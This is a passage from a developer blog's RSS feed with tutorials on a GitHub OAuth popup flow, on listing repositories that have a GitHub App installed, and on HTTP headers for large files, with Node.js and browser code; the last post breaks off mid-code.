</content:encoded></item><item><title>OAuth popup ~ Practical Guide</title><link>https://didof.dev/blog/auth-popup-pratical-guide/</link><guid isPermaLink="true">https://didof.dev/blog/auth-popup-pratical-guide/</guid><description>Enhance your GitHub OAuth implementation by using a popup approach for authentication in single-page applications (SPAs). This guide walks you through the process of spawning a popup for user authentication and securely handling the access token.</description><pubDate>Wed, 27 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a &lt;a href=&quot;/blog/github-app-oauth-practical-kick-starter&quot;&gt;previous post&lt;/a&gt; we have implemented the GitHub OAuth flow from scratch. However, the redirection to the authentication page was via hard redirection, which is definitely not wanted behavior especially when you&apos;re dealing with a SPA.&lt;/p&gt;
&lt;p&gt;Not surprisingly &lt;em&gt;OAuth in the wild&lt;/em&gt; use a &lt;strong&gt;popup&lt;/strong&gt; approach. Easy to solve, the redirection will still happen but in a spawned popup that, before dissolving will pass the &lt;code&gt;access_token&lt;/code&gt; back to main tab.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Where We Left Off&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This post is to be read as an enhancement of the previous one, so it has a slightly higher pacing. If in doubt, please refer to the &lt;a href=&quot;https://github.com/didof/github-app-standalone/tree/popup&quot;&gt;accompanying code&lt;/a&gt; or the &lt;a href=&quot;https://dev.to/didof/github-app-and-oauth-practical-kick-starter-4df4&quot;&gt;previous post&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;oauth-github-popup&quot;&amp;gt;Authenticate via GitHub (popup)&amp;lt;/a&amp;gt;
    &amp;lt;script&amp;gt;
      const CLIENT_ID = &quot;Iv1.395930440f268143&quot;;

      const url = new URL(&quot;/login/oauth/authorize&quot;, &quot;https://github.com&quot;);
      url.searchParams.set(&quot;client_id&quot;, CLIENT_ID);

      const cta = document.getElementById(&quot;oauth-github-popup&quot;);
      cta.setAttribute(&quot;href&quot;, url);
      cta.addEventListener(&quot;click&quot;, (event) =&amp;gt; {
        event.preventDefault();

   // ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we assemble the GitHub OAuth authorization link and attacch it to the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag for &lt;em&gt;accessibility reason&lt;/em&gt;. However, we also listen for click on it, &lt;strong&gt;preventing&lt;/strong&gt; the default &lt;strong&gt;hard redirection&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Using a popup&lt;/h2&gt;
&lt;p&gt;Next we are going to use the Web API &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/open&quot;&gt;window.open&lt;/a&gt; to spawn the popup.
It expect as third parameter a string containing &lt;code&gt;width&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt; and more.&lt;/p&gt;
&lt;p&gt;Personally, I prefer the explicity of an object that is then converted to the above mentioned string.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;top&lt;/code&gt; and &lt;code&gt;left&lt;/code&gt; properties have the &lt;code&gt;auto&lt;/code&gt; value - that&apos;s not in the specifications of the API, in fact it is interpreted by the following snippet as an instruction to place in the center of the relative axis. Basically if both are &lt;code&gt;auto&lt;/code&gt; the popup will always spawn in the center, even if you change &lt;code&gt;width&lt;/code&gt; or &lt;code&gt;height&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// in the &apos;click&apos; eventListener callback
const features = {
  popup: &quot;yes&quot;,
  width: 600,
  height: 700,
  top: &quot;auto&quot;,
  left: &quot;auto&quot;,
  toolbar: &quot;no&quot;,
  menubar: &quot;no&quot;,
};

const strWindowsFeatures = Object.entries(features)
  .reduce((str, [key, value]) =&amp;gt; {
    if (value == &quot;auto&quot;) {
      if (key === &quot;top&quot;) {
        const v = Math.round(
          window.innerHeight / 2 - features.height / 2
        );
        str += `top=${v},`;
      } else if (key === &quot;left&quot;) {
        const v = Math.round(
          window.innerWidth / 2 - features.width / 2
        );
        str += `left=${v},`;
      }
      return str;
    }

    str += `${key}=${value},`;
    return str;
  }, &quot;&quot;)
  .slice(0, -1); // remove last &apos;,&apos; (comma)

window.open(url, &quot;_blank&quot;, strWindowsFeatures);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thus, the user clicks your fancy GitHub button and authenticate via the popup. But it is important to instruct the server to send back to some page whose function is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ensure it is a popup&lt;/li&gt;
&lt;li&gt;Extrapolate &lt;code&gt;access_token&lt;/code&gt; from query params&lt;/li&gt;
&lt;li&gt;Dispatch it to parent window (&lt;code&gt;window.opener&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Seppuku&quot;&gt;Close itself&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;**Remember: OAuth callback
Once the user gets authenticated, GitHub redirects to the &lt;strong&gt;Callback URL&lt;/strong&gt; specified at OAuth App/GitHub App creation. This is addressed in more detail in the &lt;a href=&quot;#github-app-practical-kick-starter&quot;&gt;previous post&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;server.get(&quot;/oauth/github/login/callback&quot;, async (request, reply) =&amp;gt; {
  const { code } = request.query;

  const exchangeURL = new URL(&quot;login/oauth/access_token&quot;, &quot;https://github.com&quot;);
  exchangeURL.searchParams.set(&quot;client_id&quot;, process.env.CLIENT_ID);
  exchangeURL.searchParams.set(&quot;client_secret&quot;, process.env.CLIENT_SECRET);
  exchangeURL.searchParams.set(&quot;code&quot;, code);

  const response = await axios.post(exchangeURL.toString(), null, {
    headers: {
      Accept: &quot;application/json&quot;,
    },
  });

  const { access_token } = response.data;

  const redirectionURL = new URL(&quot;popup&quot;, &quot;http://localhost:3000&quot;);
  redirectionURL.searchParams.set(&quot;access_token&quot;, access_token);

  reply.status(302).header(&quot;Location&quot;, redirectionURL).send();
});

server.get(&quot;/popup&quot;, (request, reply) =&amp;gt; {
  return reply.sendFile(&quot;popup.html&quot;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The client gets redirected to &lt;code&gt;/popup&lt;/code&gt; and &lt;code&gt;popup.html&lt;/code&gt; is shown.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    if (window.opener == null) window.location = &quot;/&quot;;

    const access_token = new URL(window.location).searchParams.get(
    &quot;access_token&quot;
    );

    window.opener.postMessage(access_token);
    
    window.close();
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;window.opener&lt;/code&gt; is &lt;code&gt;null&lt;/code&gt; if the page has not been opened via the &lt;code&gt;window.open&lt;/code&gt;. This way, if the user directly routes to &lt;code&gt;/popup&lt;/code&gt;, gets redirected to &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The computation is minimal, it should be title fast. Showing a spinner though can only do you good.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;
SPA and their router solutions offers some &lt;code&gt;beforeEnter&lt;/code&gt; method that can be associated with a route; well, you could check the &lt;code&gt;window.opener&lt;/code&gt; value in there, in order to provide an even better experience.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Almost done! The popup is dashing the &lt;code&gt;access_token&lt;/code&gt; back to the parent but it is not listening!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;window.addEventListener(&quot;message&quot;, receiveMessage, false);

function receiveMessage(event) {
  if (event.origin !== window.location.origin) {
    console.warn(`Message received by ${event.origin}; IGNORED.`);
    return;
  }

  const access_token = event.data;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a precaution ignore any message coming from another origin. Please, consider &lt;code&gt;removeEventListener&lt;/code&gt; in your code.
Save the &lt;code&gt;access_token&lt;/code&gt; somewhere. From this point the flow rejoins the &lt;a href=&quot;https://dev.to/didof/github-app-and-oauth-practical-kick-starter-4df4&quot;&gt;previous post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There&apos;s nothing stopping you from using this pattern for GitHub App installation and permissions changes as well.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Related Posts &amp;lt;a name=&quot;related-posts&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/didof/github-app-and-oauth-practical-kick-starter-4df4&quot;&gt;GitHub App - Practical Kick-Starter (Standalone flow)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/didof/github-app-and-oauth-disjointed-flow-5a2o&quot;&gt;GitHub App - Practical Kick-Starter (Disjointed flow)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://octodex.github.com/jetpacktocat/&quot;&gt;cover image&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>GitHub App and OAuth ~ Practical Kick-Starter</title><link>https://didof.dev/blog/github-app-oauth-practical-kick-starter/</link><guid isPermaLink="true">https://didof.dev/blog/github-app-oauth-practical-kick-starter/</guid><description>Learn how to build an interface that allows GitHub-authenticated users to view which repositories have a specific GitHub App installed. This guide covers creating a GitHub App, implementing OAuth authentication, and querying the GitHub REST API for installations and repositories.</description><pubDate>Tue, 26 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What can we build&lt;/h2&gt;
&lt;p&gt;An interface that gives a GitHub-authenticated user (or any user&apos;s organization) the ability to see which of his repositories have a given GitHub App installed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2g4vbnzbk7pme9l8f7bq.png&quot; alt=&quot;Vercel&apos;s Import Git Repository component&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://vercel.com/new&quot;&gt;Vercel&lt;/a&gt;&apos;s Import Git Repository component&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Premise&lt;/h2&gt;
&lt;p&gt;I found two different ways to achieve the goal.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Standalone provider (GitHub App)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#related-posts&quot;&gt;Disjointed flow&lt;/a&gt; (OAuth App, GitHub App).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you know of other modalities, please &lt;a href=&quot;https://twitter.com/did0f&quot;&gt;contact me (twitter)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In this post we are implementing the first modality.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Create GitHub App &amp;lt;a name=&quot;create-github-app&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;In order for us to find the list of repos that have the &lt;a href=&quot;https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps&quot;&gt;GitHub App&lt;/a&gt; installed, we must first &lt;a href=&quot;https://docs.github.com/en/developers/apps/building-github-apps/creating-a-github-app&quot;&gt;create one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the purposes of this post, we just need to know that to authenticate a user through GitHub, you need to register your own OAuth app; however, &lt;a href=&quot;https://docs.github.com/en/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps&quot;&gt;every GitHub App has an OAuth inside it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That&apos;s why I (&lt;em&gt;arbitrarily&lt;/em&gt;) call this method &lt;strong&gt;standalone&lt;/strong&gt; - we only use a single GitHub App.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/247esy6i63l5p9sikmt7.png&quot; alt=&quot;Register GitHub App configuration&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Homepage URL&lt;/strong&gt;: &lt;em&gt;http://localhost:3000&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Callback URL&lt;/strong&gt;: Where the provider should send back the user once the authentication flow is completed. You can pick any route, I&apos;m using &lt;em&gt;/oauth/github/login/callback&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Setup URL&lt;/strong&gt;: Where the provider should send back the user once the GitHub has been installed/uninstalled/permission-changed. You can pick any route, I&apos;m using &lt;em&gt;/new&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6riuxroiwya3gsbtdzio.png&quot; alt=&quot;Contents read-only permission&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Configure the app so that it has the right to read the content. Otherwise, it won&apos;t be able to be installed on specific repos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You&apos;ll also find a &lt;strong&gt;Webhook&lt;/strong&gt; section. For the purposes of this post we don&apos;t care, so to continue you can just mark it as inactive.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Finally create the GitHub App. It has been assigned an App ID, a &lt;em&gt;Client ID&lt;/em&gt; and it&apos;s possible to generate a &lt;em&gt;Client Secret&lt;/em&gt; - All the stuff we need, but in a little while.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;GitHub OAuth &amp;lt;a name=&quot;github-oauth&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.github.com/en/developers/apps/building-oauth-apps/authorizing-oauth-apps&quot;&gt;Authenticating a user with GitHub&lt;/a&gt; is straight forward.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If something isn&apos;t clear kindly refer to &lt;a href=&quot;https://github.com/didof/github-app-standalone&quot;&gt;companion repo&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;First, the frontend presents a CTA which points to a route on the server.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;oauth-github&quot;&amp;gt;Authenticate via GitHub&amp;lt;/a&amp;gt;
&amp;lt;script&amp;gt;
    const CLIENT_ID = &quot;Iv1.395930440f268143&quot;;

    const url = new URL(&quot;/login/oauth/authorize&quot;, &quot;https://github.com&quot;);
    url.searchParams.set(&quot;client_id&quot;, CLIENT_ID);

    document.getElementById(&quot;oauth-github&quot;)
      .setAttribute(&quot;href&quot;, url);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note: security&lt;/strong&gt;
To remain concise, I&apos;m only reporting &lt;code&gt;client_id&lt;/code&gt; since it&apos;s required; however in a production context be sure to review the official documentation, especially regarding &lt;code&gt;scope&lt;/code&gt; and &lt;code&gt;state&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Make it title, add the GitHub icon to it - the user presses it and is taken to the following page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v2zxh0n1r9e4j74u3vl5.png&quot; alt=&quot;GitHub authentication screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, when the green &lt;strong&gt;Authorize &amp;lt;app-name&amp;gt;&lt;/strong&gt; button is pressed, the user is redirected to &lt;strong&gt;Callback URL&lt;/strong&gt; set during GitHub App creation.&lt;/p&gt;
&lt;p&gt;Let&apos;s make sure that the server is able to listen to &lt;code&gt;/oauth/github/login/callback&lt;/code&gt;. Watch out for this key step: GitHub redirects and adds a query param, a &lt;code&gt;code&lt;/code&gt; needed to authenticate the user.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server.get(&quot;/oauth/github/login/callback&quot;, async (request, reply) =&amp;gt; {
  const { code } = request.query;

  // ...
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;code&lt;/code&gt; is supposed to be exchanged with an &lt;code&gt;access_token&lt;/code&gt;, which will be stored in the client and associated with requests to the GitHub REST API.&lt;/p&gt;
&lt;p&gt;Now, before moving on, please go back to your GitHub App Configuration page and &lt;em&gt;Generate a new Client Secret&lt;/em&gt;. Thus, &lt;code&gt;dotenv&lt;/code&gt; it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { code } = request.query;

const exchangeURL = new URL(&quot;login/oauth/access_token&quot;, &quot;https://github.com&quot;);
exchangeURL.searchParams.set(&quot;client_id&quot;, process.env.CLIENT_ID);
exchangeURL.searchParams.set(&quot;client_secret&quot;, process.env.CLIENT_SECRET);
exchangeURL.searchParams.set(&quot;code&quot;, code);

const response = await axios.post(exchangeURL.toString(), null, {
  headers: {
    Accept: &quot;application/json&quot;,
  },
});

const { access_token } = response.data;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;For the sake of brevity, the example does not report &lt;strong&gt;error handling&lt;/strong&gt;. It is left to the common sense of the reader.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thus, the token is delivered to the client whom ultimately is redirected to some &lt;code&gt;/new&lt;/code&gt; route. But - here&apos;s the hero of our story - also receives the &lt;code&gt;access_token&lt;/code&gt; as query param.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { access_token } = response.data;

const redirectionURL = new URL(&quot;new&quot;, &quot;http://localhost:3000&quot;);
redirectionURL.searchParams.set(&quot;access_token&quot;, access_token);

reply.status(302).header(&quot;Location&quot;, redirectionURL).send();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extract it on the client:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  const access_token = new URL(window.location).searchParams.get(
    &quot;access_token&quot;
  );

  localStorage.setItem(&quot;access_token&quot;, access_token);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can store it any Web Storage, in-memory, really depends on how your interface is to be used. Although an &lt;em&gt;HttpOnly&lt;/em&gt; and &lt;em&gt;Secure&lt;/em&gt; cookie would help mitigate &lt;strong&gt;XSS attacks&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The client of the authenticated user can finally associate the &lt;code&gt;access_token&lt;/code&gt; when it legitimately queries the &lt;a href=&quot;https://docs.github.com/en/rest&quot;&gt;GitHub REST API&lt;/a&gt;. Almost there.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Enhancement: popup instead of redirection&lt;/strong&gt;
Usually other OAuth &lt;em&gt;in the wild&lt;/em&gt; do not hard redirect the current page. Suppose to be working on a SPA, think how sad it is to find out that this flow empties your in-memory store. Easy to solve, the redirection will still happen but in a &lt;a href=&quot;#related-posts&quot;&gt;spawned popup (post)&lt;/a&gt; that, before dissolving will pass the &lt;code&gt;access_token&lt;/code&gt; back to main tab.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;Query the GitHub REST API &amp;lt;a name=&quot;query-github-rest-api&quot;&amp;gt;&amp;lt;/a&amp;gt;&lt;/h3&gt;
&lt;p&gt;The data we need is returned from two endpoints.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/rest/apps/installations#list-app-installations-accessible-to-the-user-access-token&quot;&gt;/user/installations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/rest/apps/installations#list-repositories-accessible-to-the-user-access-token&quot;&gt;/user/installations/:installation_id/repositories&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The latter is called with information received from the former.&lt;/p&gt;
&lt;p&gt;The documentation states:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You must use a user-to-server OAuth access token, created for a user who has authorized your GitHub App, to access this endpoint.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;access_token&lt;/code&gt; returned by a &quot;simple&quot; OAuth App is not valid for these endpoints. However, there&apos;s a way to make it work using an OAuth and three other different endpoints. This is shown in the second post.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const githubAPI = axios.create({
  baseURL: &quot;https://api.github.com&quot;,
  headers: {
    Accept: &quot;application/vnd.github.v3+json&quot;,
  },
});

const authorizationConf = {
  headers: {
    authorization: `token ${access_token}`,
  },
};

(async () =&amp;gt; {
  const installationResponse = await githubAPI.get(
    &quot;user/installations&quot;,
    authorizationConf
  );
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Setting to &lt;code&gt;application/vnd.github.v3+json&lt;/code&gt; is recommended by the official docs. It&apos;s the &lt;em&gt;GitHub API custom media type&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We receive back a list containing... wait, it&apos;s empty. That&apos;s  because the GitHub App has not yet been installed anywhere.&lt;/p&gt;
&lt;p&gt;Let&apos;s make it easy to install:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a
 href=&quot;https://github.com/apps/&amp;lt;github-app-name&amp;gt;/installations/new&quot;
&amp;gt;
  Change permissions
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That once is clicked shows the following screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i2jsyepcalbp0fdqm2ti.png&quot; alt=&quot;GitHub App change permission screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Either pick you personal account or one of your organizations. Or both. Install it somewhere.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pfy279ksujfqb9yj161k.png&quot; alt=&quot;Repository access screen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now &lt;code&gt;/user/installations&lt;/code&gt; returns a list of installations. &lt;strong&gt;One for each account&lt;/strong&gt; (personal account || organization) that has &lt;strong&gt;at least one repo&lt;/strong&gt; with the &lt;strong&gt;github app installed&lt;/strong&gt; in it.&lt;/p&gt;
&lt;p&gt;Each item has the property &lt;code&gt;id&lt;/code&gt;. That&apos;s the &lt;code&gt;installation_id&lt;/code&gt; required for the next endpoint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const promises = installationsResponse.data.installations.map(
  (installation) =&amp;gt; {
    return githubAPI.get(
      `user/installations/${installation.id}/repositories`,
      authorizationConf
    );
  }
);

// parallel
const responses = await axios.all(promises);

const repositories = responses.map((response) =&amp;gt; {
  return response.data.repositories;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And there you have all the &lt;code&gt;repositories&lt;/code&gt; of the &lt;strong&gt;authenticated user&lt;/strong&gt; or one of his organizations that have the &lt;strong&gt;GitHub App installed&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Epilogue&lt;/h2&gt;
&lt;p&gt;To recap, you now can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authenticate users via GitHub OAuth authentication&lt;/li&gt;
&lt;li&gt;Redirect users to install your GitHub App&lt;/li&gt;
&lt;li&gt;Show them a dropdown containing all the organization in addition the the personal account&lt;/li&gt;
&lt;li&gt;Know which repositories to show&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&apos;ll leave it up to you all the fun of implementing the UI with your favorite framework. If you need to look at the full tour, in the &lt;a href=&quot;https://github.com/didof/github-app-standalone/&quot;&gt;companion repo&lt;/a&gt; I used technologies that anyone knows.&lt;/p&gt;
</content:encoded></item><item><title>Headers for large files</title><link>https://didof.dev/blog/headers-for-large-files/</link><guid isPermaLink="true">https://didof.dev/blog/headers-for-large-files/</guid><description>HTTP headers Content-Length, Content-Encoding, and Transfer-Encoding impact the transmission of large files in web applications. With a practical Node.js server example, learn about header combinations and the importance of the Content-Length header and gzip compression for optimizing web performance.</description><pubDate>Tue, 26 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When you have a lot of information to show on the screen, there are two common choices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;pagination&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;streaming&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But you know what? You can also just send the whole thing to the user. Let&apos;s explore this straightforward approach together.&lt;/p&gt;
&lt;h2&gt;Headers&lt;/h2&gt;
&lt;p&gt;We&apos;ll explore three crucial headers - &lt;code&gt;Content-Length&lt;/code&gt;, &lt;code&gt;Content-Encoding&lt;/code&gt;, and &lt;code&gt;Transfer-Encoding&lt;/code&gt; - and see how different combinations of these headers can influence the rendering on the browser.&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Length&quot;&gt;&lt;code&gt;Content-Length&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;It specifies the size of the payload in bytes. It helps the recipient (in our case, the browser) know how much data to expect. It&apos;s like a heads-up, ensuring everyone is on the same page about the amount of content coming their way.&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding&quot;&gt;&lt;code&gt;Content-Encoding&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;It tells the browser how the content is encoded or compressed. It&apos;s like a secret code that both the server and the browser understand. Common encodings include gzip and deflate. When the browser sees this header, it knows how to decode the content for a smooth display.&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding&quot;&gt;&lt;code&gt;Transfer-Encoding&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This less-known header &lt;strong&gt;handles the encoding of the message itself during transmission&lt;/strong&gt;. It can be sent all at once (like a single big parcel) or in smaller pieces (like breaking it into multiple smaller packages).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Server&lt;/h2&gt;
&lt;p&gt;To see how the browser reacts to different combinations of these headers, let&apos;s set up a basic Node.js HTTP server.&lt;/p&gt;
&lt;p&gt;The server is designed to handle incoming requests for any path, offering flexibility through optional query parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;content-length&lt;/code&gt;: If set to &lt;code&gt;true&lt;/code&gt;, this parameter adds the &lt;code&gt;Content-Length&lt;/code&gt; header to the response.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;transfer&lt;/code&gt;: This parameter sets the &lt;code&gt;Transfer-Encoding&lt;/code&gt; header, with options for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;identity&lt;/code&gt;: Instruct the server to send the document as a whole.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chunked&lt;/code&gt;: Directs the server to send the document in chunks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;gzip&lt;/code&gt;: If set to &lt;code&gt;true&lt;/code&gt;, the server retrieves the zipped version of the file. In this case, the &lt;code&gt;Content-Length&lt;/code&gt; (if set) reflects the size of the zipped version.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/didof/post-web-perf/tree/main/compare_headers&quot;&gt;Support Code&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;import { createServer } from &quot;http&quot;;
import { getView, combinations } from &quot;./src/utils.mjs&quot;;

createServer(async (req, res) =&amp;gt; {
  const { searchParams: sp } = new URL(req.url, &quot;http://127.0.0.1:8000&quot;);

  // Ready query params
  const length = sp.get(&quot;content-length&quot;) === &quot;true&quot; || false;
  const gzip = sp.get(&quot;gzip&quot;) === &quot;true&quot; || false;
  const identity = sp.get(&quot;identity&quot;) === &quot;true&quot; || false;

  // Either index.html or index.html.gz
  let view = &quot;index.html&quot;;
  if (gzip) view += &quot;.gz&quot;;

  const [data, stats, _] = await getView(view);

  res.setHeader(&quot;Content-Type&quot;, &quot;text/html&quot;);

  if (length) res.setHeader(&quot;Content-Length&quot;, stats.size);

  if (gzip) res.setHeader(&quot;Content-Encoding&quot;, &quot;gzip&quot;);

  if (identity) res.setHeader(&quot;Transfer-Encoding&quot;, &quot;identity&quot;)

  return res.writeHead(200).end(data);
}).listen(8000, &quot;127.0.0.1&quot;, () =&amp;gt; {
  console.info(combinations().join(&quot;\n&quot;));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { resolve } from &quot;path&quot;;
import { readFile, stat } from &quot;fs/promises&quot;;

const root = resolve(new URL(&quot;.&quot;, import.meta.url).pathname, &quot;..&quot;);

export async function getView(name, encoding) {
  const filepath = resolve(root, &quot;src&quot;, &quot;views&quot;, name);

  const [data, stats] = await Promise.allSettled([
    readFile(filepath, encoding),
    stat(filepath),
  ]);
  if (data.status === &quot;rejected&quot;)
    return [null, null, new Error(&quot;could not retrieve data&quot;)];
  if (stats.status === &quot;rejected&quot;)
    return [null, null, new Error(&quot;could not retrieve stats&quot;)];

  return [data.value, stats.value, null];
}

// Ignore if not running on your machine.
export function createURL(
